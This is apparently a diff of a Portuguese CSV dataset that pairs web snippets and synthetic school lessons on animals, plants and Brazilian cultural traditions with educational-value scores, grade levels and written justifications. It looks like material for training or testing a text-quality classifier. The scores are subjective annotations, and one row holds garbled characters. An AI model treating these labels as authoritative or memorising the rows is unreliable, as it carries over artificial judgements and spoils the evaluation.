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+E as plantas? Ah, as plantas são verdadeiras fábricas de vida! Elas produzem o oxigênio que respiramos e servem de alimento para muitos animais, inclusive para nós. As plantas também são muito diferentes entre si. Tem as árvores gigantes, como os ipês que enfeitam as cidades com suas flores coloridas, e tem as plantinhas pequenas, como as margaridas que alegram os jardins. Algumas plantas dão frutos deliciosos, como a mangueira, enquanto outras nos presenteiam com flores perfumadas, como as rosas.
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+Agora, pense um pouquinho: de onde vem o ar que você respira? E a maçã que você comeu no lanche? Viu só como os animais e as plantas estão presentes em tudo o que fazemos? É por isso que é tão importante cuidarmos deles e do meio ambiente. Quando jogamos lixo na rua, por exemplo, podemos prejudicar os animais que vivem ali. E quando queimamos as florestas, estamos destruindo a casa de muitos animais e plantas.
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+Para finalizarmos, que tal começarmos a observar mais de perto os animais e as plantas que vivem perto de nós? Podemos plantar uma flor no jardim, cuidar de um bichinho de estimação ou simplesmente prestar atenção nos passarinhos que cantam na janela. Pequenas atitudes como essas fazem uma grande diferença para o nosso planeta e para a nossa vida. Lembre-se: todos nós fazemos parte desse grande e incrível mundo dos animais e das plantas!",Ciências,Animais e plantas,anos iniciais (1º ao 5º ano),"O trecho recebe 5 pontos. Apresenta informações básicas relevantes sobre animais e plantas (1 ponto). Aborda elementos pertinentes à educação ambiental, embora de forma introdutória (1 ponto). Introduz conceitos importantes relacionados ao currículo escolar de ciências (1 ponto). A escrita é clara e consistente, com conteúdo adequado para o ensino fundamental (1 ponto). O texto é excepcional em seu valor educacional, com raciocínio detalhado e linguagem de fácil compreensão, incentivando a reflexão e a ação (1 ponto).",5,1.0
+"Para o presidente da autarquia, Manoel Xavier Ferreira Filho, é preciso se atentar à importância do tema deste ano: ""Minha escolha faz a diferença no trânsito”
+Organizada pelo Conselho Nacional de Trânsito (Contran) e pelo Departamento Estadual de Trânsito de Goiás (Detran-GO), a programação da Semana Nacional de Trânsito (SNT) teve início na última segunda-feira (18) e segue até sexta-feira (22) com uma série de atividades voltadas à educação e conscientização da sociedade. Para o presidente da autarquia, Manoel Xavier Ferreira Filho, é preciso se atentar à importância do tema deste ano: “Minha escolha faz a diferença no trânsito”.
+Segundo Manoel Xavier, a escolha da temática trata de um dos principais fatores que impedem o país de desfrutar de um trânsito seguro. “Nós somos educados, desde a infância, sobre a importância de fazermos as melhores escolhas ao longo da vida. Desde estudos, casamento, emprego, amigos, viagens etc. Aprendemos que serão essas escolhas que determinarão como será nossa vida. No trânsito, não é diferente. Está nas mãos de cada indivíduo realizar a melhor escolha. O modo como você dirige é que decide suas responsabilidades individuais”, explica.
+No entanto, o presidente acredita que o Detran-GO tem conseguido mobilizar a sociedade na construção de um ambiente social mais saudável. “Temos trabalhado em todas as frentes visando um trânsito seguro: educação, fiscalização e conscientização. Sem dúvida estamos conseguindo resultados positivos”, afirma.
+Uma das principais frentes de atuação do Detran-GO é no trabalho para mudança de comportamento do condutor. Nos últimos anos, segundo Manoel Xavier, o Detran tem intensificado as ações educativas, uma vez que ainda constam entre as principais autuações registradas o excesso de velocidade, a falta de cinto de segurança e o avanço no sinal vermelho como as infrações mais recorrentes.
+“Além da atuação constante e consistente dos órgãos de trânsito, como o Detran-GO, é preciso que o cidadão aprenda a ter responsabilidade ao volante. Quando o motorista decide respeitar a
+legislação, ele participa da construção de um trânsito mais seguro e humano. É uma questão de vida e solidariedade”, alerta o presidente.
+No Brasil, acidentes de transporte terrestres são a oitava maior causa de mortes – pelo menos 44 mil óbitos por ano. Para Manoel Xavier, esses dados podem mudar para melhor. “Esse número poderia ser reduzido se escolhas como respeitar os limites de velocidade da via, não ingerir bebida alcoólica antes de dirigir e utilizar o cinto de segurança fossem sempre feitas. A mudança depende de cada um de nós”, atesta.",original,original,original,original,3,0.6
+Está a utilizar uma versão de browser mais antiga. Utilize uma versão suportada para obter a melhor experiência possível com o MSN.,original,original,original,original,0,0.0
+"♥ De Coração a Coração ♥: CRIADOR - FOCO ESPIRITUAL
+Haverá muitas coisas tentando atrair você em muitas direções como uma distração do seu crescimento.
+Você pode optar por permitir as distrações ou continuar seu caminho conforme planejado.
+Muitas das coisas antigas e caminhos antigos são muito tentadores porque são confortáveis e seguros.
+Afastando-se de reconfortar pessoas, lugares ou coisas pode deixá-lo sentindo-se isolado e solitário.
+Não tenha medo disso, meu querido.
+É quando o aprendizado mais profundo acontece.
+Seu novo ano será de muitas oportunidades de aprendizado e a progressão desse aprendizado depende completamente de você. O livre arbítrio é e sempre será seu.
+Unknown 28 de dezembro de 2018 17:53",original,original,original,original,1,0.2
+Por inutensiliospoeticos / 3 de março de 2017 935 × 1304 pixels / Deixe um comentário,original,original,original,original,0,0.0
+"O mercado de trabalho para pessoas com deficiência teve um avanço significativo nos últimos anos, seja pela força das leis voltadas para esse segmento, pela fiscalização por parte do Ministério do Trabalho ou pela visão mais inclusiva de empresas que enxergam na inclusão uma oportunidade de desenvolvimento tanto para o profissional com deficiência quanto para toda a organização.
+De acordo com dados mais recentes da Rais (Relação Anual de Informações Sociais), o Brasil tem aproximadamente 403,2 mil trabalhadores com deficiência ocupando vagas de empregos formais. Ainda há muito a ser conquistado, mas as leis existentes servem como um grande impulso para que os candidatos encontrem uma oportunidade de emprego e sejam inseridos no mercado de trabalho.
+Confira abaixo as principais leis e decretos para pessoas com deficiência no que se relaciona ao mercado de trabalho:
+O principal papel da Lei de Cotas e da fiscalização é servir como instrumento de conscientização, já que a obrigatoriedade de contratar pessoas com deficiência contribui para a criação de um mercado de trabalho inclusivo e democrático, pensado para todos.
+Confira a Lei de Cotas completa, com todos os seus artigos, clicando aqui!
+Lei Brasileira de Inclusão da Pessoa com Deficiência:
+Confira a Lei Brasileira de Inclusão completa, com todos os seus artigos, clicando aqui!
+O Decreto 3.298, de 20 de dezembro de 1999, regulamenta a Lei nº 7.853/89 (também conhecida como Lei dos Portadores de Deficiência) e define os contornos da expressão “pessoas portadoras de deficiência”, caracterizando o que vem a ser deficiência, deficiência permanente ou incapacidade da seguinte forma:
+Deficiência: toda perda ou anormalidade de uma estrutura ou função psicológica, fisiológica ou anatômica que gere incapacidade para o desempenho de atividade, dentro do padrão considerado normal para o ser humano;
+Deficiência permanente: aquela que ocorreu ou se estabilizou durante um período de tempo suficiente para não permitir recuperação ou ter probabilidade de que se altere, apesar de novos tratamentos;
+Incapacidade: uma redução efetiva e acentuada da capacidade de integração social, com necessidade de equipamentos, adaptações, meios ou recursos especiais para que a pessoa portadora de deficiência possa receber ou transmitir informações necessárias ao seu bem-estar pessoal e ao desempenho de função ou atividade a ser exercida. ²
+Tais definições permitiram que Lei de Cotas pudesse ser melhor aplicada pelas empresas e pelo Ministério do Trabalho, uma vez que delimitam quais são as pessoas com deficiência que se enquadram na legislação. O decreto assegura “respeito e igualdade de oportunidades na sociedade por reconhecimento dos direitos, sem privilégios ou paternalismos, assim como a inclusão das pessoas com deficiência, respeitadas as suas peculiaridades, em todas as políticas públicas e dimensões sociais”.
+Lei nº 10.048/2000 – garante atendimento prioritário às pessoas com deficiência ou com mobilidade reduzida;
+Lei nº 10.098/2000 – estabelece normas e critérios para a promoção da acessibilidade às pessoas com deficiência.
+Para o mercado de trabalho, o Decreto redefiniu quais tipos de deficiência podem ser contemplados pela Lei de Cotas. Isso porque, até então, as empresas buscavam por candidatos com deficiências mais leves para preencher a cota legal em seu quadro de funcionários.
+Uma das redefinições mais relevantes foi o foco na inclusão de pessoas com deficiências consideradas mais severas nas empresas, além da inserção do nanismo pela primeira vez na legislação. Dessa forma, profissionais com deficiência visual em apenas um olho ou com deficiência auditiva também em apenas um ouvido, passaram a não ser mais contemplados pela cota. O mesmo se aplica a trabalhadores com perdas leves de audição.
+Trata-se de um tratado internacional específico para as pessoas com deficiência, aprovado em Assembleia Geral da Organização das Nações Unidas em dezembro de 2006. Até o momento, a Convenção da ONU tem 1...",original,original,original,original,4,0.8
+"Já parou para pensar como os animais e as plantas, aparentemente tão diferentes, estão conectados em uma teia de relações que sustenta a vida no nosso planeta? Prepare-se para uma jornada fascinante pelo mundo da natureza, onde cada ser vivo desempenha um papel crucial! 
+
+Imagine uma floresta exuberante. As árvores, com suas folhas verdes e copas imponentes, realizam a fotossíntese, um processo mágico que transforma a luz do sol em energia e libera oxigênio, o ar que respiramos. Mas e os animais? O que eles têm a ver com isso? Bem, muita coisa! 
+
+Alguns animais, como as abelhas e os beija-flores, são verdadeiros polinizadores. Ao se alimentarem do néctar das flores, eles carregam o pólen de uma flor para outra, permitindo que as plantas se reproduzam e produzam frutos e sementes. Sem esses pequenos ajudantes, muitas plantas simplesmente não conseguiriam se reproduzir. Pense na importância das abelhas para a produção de maçãs, morangos e tantos outros alimentos que consumimos! 
+
+Outros animais, como os passarinhos e os macacos, se alimentam de frutos e sementes, e ao fazerem isso, espalham as sementes por diferentes lugares. Isso ajuda as plantas a colonizar novos territórios e garante a diversidade da vegetação. É como se eles fossem jardineiros da natureza, plantando árvores e arbustos por onde passam. 
+
+E não para por aí! Animais herbívoros, como as capivaras e os bois, se alimentam de plantas, mantendo o equilíbrio da vegetação e evitando que uma espécie domine sobre as outras. Se uma única espécie de planta crescesse sem controle, ela poderia sufocar as outras e diminuir a biodiversidade. 
+
+Até mesmo os animais carnívoros, como as onças e os lobos, desempenham um papel importante nesse ciclo. Ao controlar a população de herbívoros, eles evitam que esses animais comam todas as plantas de uma região, garantindo que a vegetação se mantenha saudável e equilibrada. 
+
+A relação entre animais e plantas é tão complexa e interdependente que qualquer alteração em um desses grupos pode ter consequências graves para o outro. O desmatamento, a poluição e a caça ilegal, por exemplo, podem perturbar esse equilíbrio e colocar em risco a vida de muitas espécies. 
+
+Então, da próxima vez que você estiver em contato com a natureza, lembre-se dessa incrível dança entre animais e plantas. Cada um deles, por menor que seja, tem um papel fundamental na manutenção da vida no nosso planeta. Que tal observarmos mais atentamente o mundo ao nosso redor e aprendermos a valorizar e proteger essa parceria essencial? Quais ações podemos tomar no nosso dia a dia para contribuir para a preservação da natureza e o bem-estar de todos os seres vivos?",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, adequado para o ensino fundamental. Introduz o conceito de interdependência entre animais e plantas de forma clara e envolvente, exemplificando com exemplos concretos e acessíveis. O texto é coerente, bem estruturado e estimula a reflexão sobre a importância da preservação ambiental. A linguagem é acessível, tornando o conteúdo adequado para diferentes faixas etárias dentro do ensino fundamental.",5,1.0
+"Qual é a idade certa para empreender? - Empreender Depois dos 30
+Para falar um pouco do empreendedorismo ao longo das idades, preparamos este post. Nele, você vai descobrir se há idade certa para empreender. Ficou interessado em conferir tudo com a gente? Então, leia o nosso artigo!
+O empreendedorismo aos 20 anos
+Aposto que se você passou dos 30 anos como eu, deve sentir saudade da época da faculdade, amigos e balada, não é verdade? Saiba que essas são as maiores preocupações de quem tem 20 anos. Entretanto, também há jovens nessa faixa etária que têm vontade de tirar sua startup do papel.
+No entanto, empreender envolve muitas incertezas, principalmente quando se trata de uma startup. Mas com um pouco de coragem, estudo e conhecimento você consegue encarar o empreendedorismo.
+A fase dos 20 é a idade que transforma o empreendedorismo em aventura.
+Nesta idade, os jovens são curiosos, têm a auto estima elevada e não têm medo de correr riscos. Apesar da vitalidade para superar incertezas e desafios, os empreendedores mais jovens sofrem com sua falta de experiência. Portanto, se você realmente quer empreender nesta idade, deverá estar preparado para qualquer tipo de desafio.
+O empreendedorismo aos 30 anos
+A fase dos 30 anos é aquela em que muitas pessoas passam pelo casamento, o nascimento dos filhos e a pós-graduação. E é a partir dos 30 que as obrigações surgem. As pessoas desta idade buscam sua realização pessoal com a empresa, algo que muitos empregos não proporcionam.
+Por isso, é nessa fase que muitas pessoas trocam o certo pelo “incerto”. Preferem criar algo do “zero” e acreditar em seus próprios sonhos.
+E é esta a faixa etária que mais busca informações junto ao Sebrae. Apesar de terem certo conhecimento da atividade que desejam empreender, essas pessoas não costumam conhecer a gestão a fundo.
+Além disso, a maior dificuldade do empreendedor nesta fase é formar um bom time de colaboradores, pois quanto mais o empreendimento cresce, mais difícil é gerenciar sozinho o negócio.
+O empreendedorismo aos 40 anos
+E será que essa é a idade certa para empreender? Então, vamos analisar essa fase: muitos têm casa própria, carro na garagem e até segurança financeira. O empreendedor com 40 anos de idade é aquele que já passou pelo mercado de trabalho e busca mais qualidade de vida.
+Nesta fase, as pessoas costumam estar mais preparadas, possuem muito conhecimento e vivência. Elas têm o capital que precisam e sabem a importância do planejamento para o seu sucesso profissional.
+No entanto, os pontos negativos desta fase são a falta de agilidade dos 20 anos e a preferência por investir em negócios menos arriscados, como as franquias.
+O empreendedorismo aos 50 anos
+Antigamente, quem chegava aos 50 anos queria se aposentar, curtir a vida, o lazer com a família e ter o seu tempo livre para jogar um baralho com os amigos. Sabe aquela frase que a vida começa aos 40? Não, meu caro leitor, a vida começa aos 50 anos de idade.
+Muitos cinquentões estão em pleno vigor. Tem gente que até começou a empreender nessa idade e, detalhe, contando até com a ajuda da mulher e dos filhos. Entretanto, o empreendedorismo nesta fase da vida aparece como uma necessidade.
+Os empreendedores são bem sucedidos em suas carreiras profissionais e estão começando a sair do mercado. No entanto, a maior vantagem de empreender com 50 anos é que você já tem conhecimento suficiente, pois está mais preparado para não cair em algumas armadilhas do próprio mercado.
+Agora que você já viu como é o empreendedorismo em cada fase da vida, poderá refletir sobre qual é a idade certa para empreender, não é verdade? Analise seus sonhos e tire-os do papel! O importante é você acreditar em si mesmo e ver que a sua ideia vale a pena!
+E aí, você também tem vontade de empreender? Conte para gente os seus sonhos!",original,original,original,original,2,0.4
+"Condomínios em Juiz de Fora, MG
+R Doutor José Batista de Oliveira, 18, Bom Pastor - Juiz de Fora, MG
+R Silva Jardim, 385 - AP 402 FRENTE, Centro - Juiz de Fora, MG
+R Senador Salgado Filho, 415 - AP 301, Bom Pastor - Juiz de Fora, MG
+R Espírito Santo, 400 - AP 6605, Centro - Juiz de Fora, MG
+R São Sebastião, 1050, Santa Helena - Juiz de Fora, MG
+Av Barão do Rio Branco, 2869 - AP 1101, Centro - Juiz de Fora, MG
+R São Sebastião, 1161 - AP 901, Centro - Juiz de Fora, MG",original,original,original,original,0,0.0
+"Observe que há algumas exceções: Quase todos os nomes de países e cidades são femininos. Em pessoas, o sexo que define o gênero do substantivo. Além disso, há casos excepcionais em que certos substantivos, apesar da falta do sufixo feminino, correspondem ao sexo feminino, como por exemplo, as partes do corpo que são pares (braços, pernas, etc).
+Confira a lista a seguir com alguns substantivos femininos, que não têm a ""terminação feminina"" (ة).
+Ao aprender um substantivo árabe, você deve sempre aprender também o seu gênero gramatical.
+Os substantivos árabes podem ser definidos ou indefinidos. Na página seguinte você encontra mais informações.",original,original,original,original,3,0.6
+"MP de Minas Gerais vê falhas em licenciamento da barragem de Fundão | Inteligência Competitiva por Alfredo Passos
+Inteligência Competitiva por Alfredo Passos(Observatório sobre a Competitividade Empresarial)	MP de Minas Gerais vê falhas em licenciamento da barragem de Fundão	Barragem de Fundão rompeu em novembro: Ministério Público apura por que obra foi autorizada sem a apresentação de documentos considerados essenciais para a construção – Daniel Marenco/ 06-11-2015/ Agência O Globo / Agência O Globo
+Fonte: O GLOBO 17/01/2016 21:36 / atualizado 18/01/2016 9:37
+por Alfredo Passos em 17/01/2016
+Marcado da TV Globo, engenheiro Joaquim Pimenta de Ávila, fantastico, Geraldo Abreu, Ministério Público de Minas Gerais, Samarco, subsecretário de Regularização Ambiental de Minas Gerais
+Postado por Alfredo Passos em 17/01/2016
+https://alfredopassos.wordpress.com/2016/01/17/mp-de-minas-gerais-ve-falhas-em-licenciamento-da-barragem-de-fundao/
+Post anteriorEngenheiro alertou para risco de ruptura em barragem de Mariana	Post seguinteInteligência Competitiva Tecnológica: Nova revolução industrial vai destruir 5 milhões de empregos até 2020	Deixe um comentário	Deixe uma resposta Cancelar resposta	Insira seu comentário aqui...",original,original,original,original,2,0.4
+"A Teresa Perez Tours inicia o segundo semestre de 2015 com a abertura de seu segundo escritório fora de São Paulo. A agência escolheu Belo Horizonte para expandir seus negócios e abre as portas de seu novo endereço no dia 25 de agosto, em evento para convidados. Com a novidade, o público mineiro terá acesso à mesma consultoria personalizada de destinos, hotéis e serviços de alto padrão ao redor do mundo, marca registrada da companhia, com 24 anos de história e endereços em São Paulo e Brasília.
+""O público da região representa um grande potencial para o nicho da nossa operadora - as viagens de alto padrão. Já trabalhamos há anos com agências locais parceiras que representam nosso conceito com muita qualidade: Estação Turismo; Trop Tur; Ruy Lage; Cris Biagioni; Bini Viagens e Greenwich Tours, e nossa atuação direta na cidade somará ainda mais para esse cenário positivo"", declara Tomas Perez, presidente da Teresa Perez Tours. A chegada da agência ao território mineiro é resultado de profundos estudos do mercado local, um dos maiores potenciais do mercado de luxo no país.
+A implantação do novo escritório ocorreu durante o último semestre e sua infraestrutura inclui toda expertise da matriz de São Paulo, incluindo um auditório para palestras e apresentações, permitindo que clientes de Minas Gerais tenham acesso ao mesmo conhecimento de viagens oferecido pela agência em São Paulo e Brasília. A Teresa Perez Tours oferece roteiros em diversas regiões do mundo, como Ásia, Europa, África, América e Oceania, além de selecionar atividades especiais, de acordo com as preferências de seus viajantes, como excursões de bicicleta, trens, cruzeiros e esqui. A empresa trabalha com as redes de hotéis mais desejadas e admiradas, como Belmond, Mandarin Oriental, Four Seasons Hotels & Resorts, The Ritz-Carlton, entre outros que são sinônimos de sofisticação e conforto.
+""Neste ano, estamos trabalhando a gastronomia como uma das grandes inspirações para viagens. Na nossa inauguração em Belo Horizonte lançaremos o livro Traveller Flavours by Teresa Perez, que desvenda 25 destinos através de seus sabores. O material foi feito por meio de uma pesquisa profunda de cada cidade, incluindo a visão de grandes chefs que compartilharam suas receitas conosco - essa olhar local e detalhado de cada destino é o estilo de trabalho da Teresa Perez Tours"", conta Tomas Perez.",original,original,original,original,0,0.0
+"Esta quinta-feira (8), segundo dia da Unidade Móvel da Plataforma Educativa Repsol Sinopec, foi muito animada para os alunos do 5º ano da Escola Municipal Lions Clube, que fica no Jardim Ivoty. Cerca de 30 alunos participaram da atividade EnTenda o Lixo, que fala sobre questões relacionadas ao lixo marinho.
+Siga a Prefeitura de Itanhaém no Instagram e no Facebook
+Durante a atividade, aconteceram conversas sobre o tema, como resíduos e ações necessárias para solucionar o problema. De acordo com a professora dos estudantes, Marta Maria Golz Silva, de 43 anos, o assunto já vinha sendo abordado. “Isso foi importante para complementar o trabalho feito em sala de aula. Eles acabam aprendendo de uma forma diferente, fora do ambiente escolar”, explicou.
+O principal objetivo dos cursos e oficinas é contribuir para o desenvolvimento da comunidade, valorizando a cultura local e a sustentabilidade dos recursos marinhos. As atividades ocorrem no interior de um caminhão baú de 12 metros de comprimento, que se transforma em uma sala de aula.
+De acordo com o aluno Fernando Ribeiro de Souza, de 10 anos, a quantidade de lixo nos oceanos é bem maior do que poderia imaginar. “Eu sabia que os oceanos estavam cheios de lixo, mas não tinha noção da quantidade. Percebi que precisamos fazer alguma coisa, pois é uma situação muito triste”, lamentou.
+Outra estudante é Maria Eduarda Félix Costa, de 10 anos, que contou que sempre teve cuidado com a preservação ambiental. “Minha mãe sempre conversou sobre isso comigo. Um pequeno lixo pode machucar ou até matar um animal marinho. São as pequenas atitudes que mudam toda a situação”, contou.
+As atividades são gratuitas e as inscrições devem ser feitas no local. A Unidade Móvel fica na Praça Narciso de Andrade, de segunda a sexta-feira, das 9 às 17 horas, até o dia 7 de julho. As oficinas com as crianças das escolas municipais, no entanto, acontecerão apenas até a próxima quarta-feira (14).
+Além do EnTenda o Lixo, outros cursos serão oferecidos para a população, como o Saneamento Ecológico e Tecnologias Ambientais Alternativas, que usará de material audiovisual, estruturas e maquetes didáticas; e o Pescador Profissional (POP), que ajudará os participantes a tirar a Caderneta de Inscrição e Registro (CIR), exigida pela Marinha para exercer a profissão de pescador em alto mar.
+As atividades são realizadas em parceria com o Instituto Costa Brasilis, o Instituto de Oceanografia da Universidade de São Paulo (IOUSP) e a Prefeitura de Itanhaém. O programa existe desde 2009 e já esteve em 18 cidades do litoral dos estados do Espírito Santo, Rio de Janeiro e São Paulo. A Repsol Sinopec Brasil é uma companhia de petróleo e gás e desenvolve uma série de ações em responsabilidade corporativa, sendo o projeto Plataforma Educativa uma delas.
+Palavras-chave: curso, escola municipal, lixo marinho
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+Vacinação contra Influenza A (H1N1) para população geral já acontece em Itanhaém
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+Não às drogas: Proerd forma alunos das redes municipal e particular de ensino
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+Cultura Caiçara é tema da ll Semana dos Direitos Humanos de Itanhaém realizado pela E.M Osmar Rodrigues",original,original,original,original,3,0.6
+"Ansiedade, stress, angústia: os efeitos do isolamento social e como combatê-los - JPN
+O confinamento produz efeitos sobre o modo como nos sentimos. ""Dar significado ao tempo"" é uma estratégia a seguir, recomenda Cristina Queirós da FPCEUP. A UP e a Sociedade Portuguesa de Psicanálise já têm linhas telefónicas de apoio emocional e psicológico.
+Foto: Pexels/Burst
+Apesar da quarentena provocada pela COVID-19 ser uma realidade recente que se vive um pouco por todo o mundo, as consequências e os efeitos psicológicos deste tipo de isolamento já foram alvo de estudo no passado. Ansiedade, stress, angústia, solidão, medo e tristeza são alguns dos sintomas mais comuns nas pessoas que passam pelo processo. Mas há armas de arremesso contra estes sentimentos negativos e uma delas é a rotina, como explicou ao JPN Cristina Queirós, professora da Faculdade de Psicologia e Ciências da Educação da Universidade do Porto (FPCEUP).
+Como a realidade é recente, os artigos científicos lançados este ano analisam trabalhos antigos sobre períodos similares na história moderna, que mostram o que pode ser transferido para o presente.
+Vai nesse sentido o estudo publicado este ano na revista médica “The Lancet“. Num dos momentos analisados, o grupo do departamento de Psicologia do King’s College mostrou que a quarentena foi um dos fatores principais no desenvolvimento de transtorno de stress agudo. No mesmo estudo, as pessoas isoladas ficaram muito mais suscetíveis a reportar exaustão, desapego face aos outros, ansiedade, irritabilidade, insónia, baixa concentração, indecisão e deterioração do desempenho no trabalho.
+A professora da Universidade do Porto, Cristina Queirós, em entrevista ao JPN, diz que neste início é comum a sensação de medo. “Diria que ainda estamos em adaptação. As pessoas estão a tentar adaptar-se dentro dos recursos disponíveis. Nesta fase, pode ser muito mais forte a ansiedade, a angústia e o medo, mas depois a seguir pode vir a exaustão emocional, o cansaço psicológico e a depressão. Pode vir algo que estava mais latente e que teve a oportunidade de emergir”, explica a doutorada em Psicologia.
+Há uma diferença entre os conceitos de isolamento e de quarentena, que não se observa no uso corrente dos termos. A quarentena visa deixar pessoas saudáveis ​​e assintomáticas expostas a uma doença infecciosa, isoladas pelo período de incubação, para conter a disseminação da doença. Enquanto que o isolamento consiste na separação de pacientes com infeção ativa de pessoas saudáveis e não expostas, para impedir a transmissão.
+Um estudo qualitativo, também abordado no artigo da “The Lancet”, mostrou que diversos participantes demonstraram mudanças de comportamento após o período de quarentena e o retorno à normalidade demorou alguns meses. O estudo também diz que os sintomas e sentimentos experienciados pelas pessoas foi mais forte e proeminente em profissionais da saúde que tiveram de passar por esse processo de isolamento.
+“É importante entender que as outras pessoas estão a partilhar dos mesmos medos, das mesmas angústias”, sublinha Cristina Queirós.
+Esses sentimentos negativos durante o processo de isolamento forçado dependem de alguns fatores que são abordados em artigos científicos como o publicado na “The Lancet”, ou um estudo feito sobre a SARS em Toronto, no Canadá, e um outro estudo sistemático da quarentena por profissionais da saúde. Estes são:
+Duração da Quarentena: três estudos mostraram que a duração da quarentena pode influenciar negativamente a saúde mental das pessoas, podendo chegar a causar sintomas de stress pós-traumático. Quarentenas acima de dez dias mostraram ser capazes de afetar psicologicamente uma pessoa por mais tempo;
+Medo de infeção: os participantes nos diversos estudos tinham maior probabilidade de mostrar um medo de ter a infeção e/ou transmitir esta para pessoas que conhecem;
+Frustração ou tédio: a perda de uma rotina normal, o confinamento, a redução de contacto físico com outros resultaram uma crescente sensaç...",original,original,original,original,4,0.8
+"Assim que possível, mu-órra e depois encaminhe-se para o inferno.",original,original,original,original,0,0.0
+Este site é protegido por reCAPTCHA e aplica-se a Política de Privacidade si Termos de Utilização Google.,original,original,original,original,0,0.0
+"Srinivasa Ramanujan – Oráculo de Cassandra
+Srinivasa Aiyangār Ramanujan nasceu em Erode, pequena localidade a 400 km a sudoeste de Madras (hoje Chennai), Tamil Nadu, na Índia, a 22 de dezembro de 1887. Aos cinco anos iniciou seus estudos na escola impressionando a todos com sua inteligência. Ganhou uma bolsa para o Liceu de Kumbakonam, onde também despertou a admiração de colegas e professores. Na adolescência passou a estudar sozinho séries aritméticas e geométricas. Aos 15 anos de idade descobriu soluções de polinômios de terceiro e quarto grau. Nesta idade teve contato com a obra que influenciou sua maneira de interpretar a matemática; trata-se do livro intitulado “Synopsis of Elementary Results on Pure Mathematics” de autoria de George Shoobridge Carr (1837–1914) – matemático britânico, professor da Universidade de Cambridge. A obra apresentava cerca de 6.000 teoremas e fórmulas, porém com poucas demonstrações.
+Após “esgotar” a geometria, Ramanujan passou a dedicar-se à álgebra. Aos 16 anos perdeu a bolsa de estudos por ter sido considerado insuficiente nos exames de inglês a que foi submetido, passando a estudar matemática de forma autodidata – sem livros ou outras fontes documentais; chegando a ultrapassar os trabalhos do professor Carr.
+Estudos de Ramanujan
+Entre privaç��es, trabalhos e estudos solitários, recriou vários estudos no campo da matemática – fato que só reafirma sua genialidade nesta ciência. Casou-se em 1909, aos vinte e um anos de idade, com Janaki Ammal. Na época, Janaki tinha apenas nove anos, vindo a se consumar o casamento apenas quando ela atingiu a maioridade. Em 1910 precisou passar por uma intervenção cirúrgica, pois sofria de hidrocele testicular (acúmulo de fluido límpido no interior da túnica vaginal – a membrana mais interna que contém o testículo). Como sua família não dispunha de meios para pagar o procedimento, um médico local o operou gratuitamente. Através da influência de amigos empregou-se como contador no porto de Madras e passou a frequentar uma universidade local como ouvinte. Impressionados com seu talento os professores o aconselharam a enviar seus trabalhos ao matemático inglês Godfrey Harold Hardy (1877-1947), que o convidou em 1913 a ir para Cambridge (Inglaterra), sendo a viagem realizada naquele mesmo ano.
+Em Cambridge, Ramanujan trabalhou durante cinco anos, onde desenvolveu mais ainda seu potencial. Ingressou na Royal Society de Ciências e tornou-se professor no Trinity College. Em 1919 contraiu tuberculose e voltou à Índia, onde morreu em 26 de abril de 1920, em Kumbakonam, aos 32 anos de idade. Sua viúva, Janaki Ammal, viveu em Chennai até 1994, ano em que veio a falecer.
+“Ramanujam vivia somente para a matemática e parecia não se interessar por outros assuntos, pouco se preocupava com artes e com literatura. Em Cambridge criara uma pequena biblioteca com informações sobre fenômenos que desafiavam a razão. Em suas descobertas havia os mais abstratos enigmas a respeito das noções de números, em especial sobre os números primos. O Ramanujan Journal, um periódico internacional, foi criado para publicar trabalhos de todas as áreas da matemática influenciadas por ele” (Wikipedia).
+Segundo Hardy, que orientou o matemático indiano juntamente com John Littlewood (1885-1977), “as descobertas de Ramanujan são extraordinariamente ricas e que muitas vezes há mais nelas do que é visto inicialmente” (Wikipedia). Entre seus trabalhos e descobertas mais conhecidos estão:
+Constante de Landau-Ramanujan;
+Função teta de Mock;
+Constante de Ramanujan-Soldner (constante matemática definida como o zero positivo exclusivo da função integral logarítmica);
+Função teta de Ramanujan (generaliza a forma das funções tetas de Jacobi, enquanto mantém suas propriedades gerais);
+Soma de Ramanujan;
+Identidades de Rogers-Ramanujan.
+Ramanujan (ao centro) e Hardy (à direita), numa fotografia de grupo na entrada do Trinity College, em Cambridge.
+As contribuições de Ramanujan são essenciais para o campo da matemáti...",original,original,original,original,4,0.8
+"Você já parou para pensar por que comemos pamonha nas festas juninas ou por que dançamos frevo no carnaval? Essas são apenas algumas das muitas tradições culturais que fazem do Brasil um país tão especial e rico em histórias! As tradições culturais são como um grande álbum de família, cheio de lembranças e costumes que passam de geração em geração. Elas nos mostram quem somos, de onde viemos e o que valorizamos. Imagine que cada tradição é como uma cor diferente em um grande arco-íris. Juntas, elas formam um espetáculo lindo e único, que é a nossa cultura brasileira. 
+
+Desde a culinária até as festas populares, as tradições culturais estão presentes em todos os cantos do Brasil. No Norte, por exemplo, o Festival de Parintins encanta o mundo com as apresentações dos bois Caprichoso e Garantido, repletas de cores, músicas e danças que celebram a cultura amazônica. Já no Nordeste, o Bumba Meu Boi conta a história de um boi que morreu e ressuscitou, misturando elementos da cultura africana, indígena e portuguesa. No Sudeste, o carnaval do Rio de Janeiro é uma explosão de alegria e criatividade, com seus desfiles de escolas de samba que contam histórias e homenageiam a cultura brasileira. E no Sul, a festa da uva celebra a colheita e a cultura dos imigrantes italianos, com muita música, dança e, claro, uvas deliciosas! 
+
+Mas as tradições culturais não são apenas festas e danças. Elas também estão presentes na nossa língua, nas nossas músicas, nas nossas comidas e até na forma como nos vestimos. Já ouviu alguma história contada pelos seus avós? Essa é uma forma de tradição cultural! Já comeu um bolo de fubá feito pela sua mãe ou avó seguindo uma receita antiga? Essa também é uma forma de tradição cultural! As tradições culturais são como um tesouro que precisamos cuidar e preservar. Elas nos conectam com o passado, nos ajudam a entender o presente e nos inspiram a construir um futuro ainda mais rico e diverso. Que tal perguntar para seus pais ou avós sobre as tradições culturais da sua família? Você pode descobrir histórias incríveis e aprender muito sobre as suas raízes. E lembre-se: cada um de nós é um pedacinho dessa grande história, e juntos podemos continuar colorindo o Brasil com as nossas tradições!",História,Tradições culturais,anos iniciais (1º ao 5º ano),"O texto apresenta alto valor educacional por introduzir o conceito de tradições culturais de forma acessível e envolvente para crianças. Utiliza exemplos regionais do Brasil, conectando o tema à realidade dos alunos. A linguagem é clara e estimula a interação familiar e a valorização das raízes culturais, tornando-o adequado para o ensino fundamental. O texto também está livre de informações complexas e conteúdo não educacional.",5,1.0
+"Vejo todo mundo na piscina, na praia, e a única coisa que eu posso fazer pra me refrescar é ficar sem cueca. - Os Vigaristas
+Vejo todo mundo na piscina, na...
+Vejo todo mundo na piscina, na praia, e a única co...
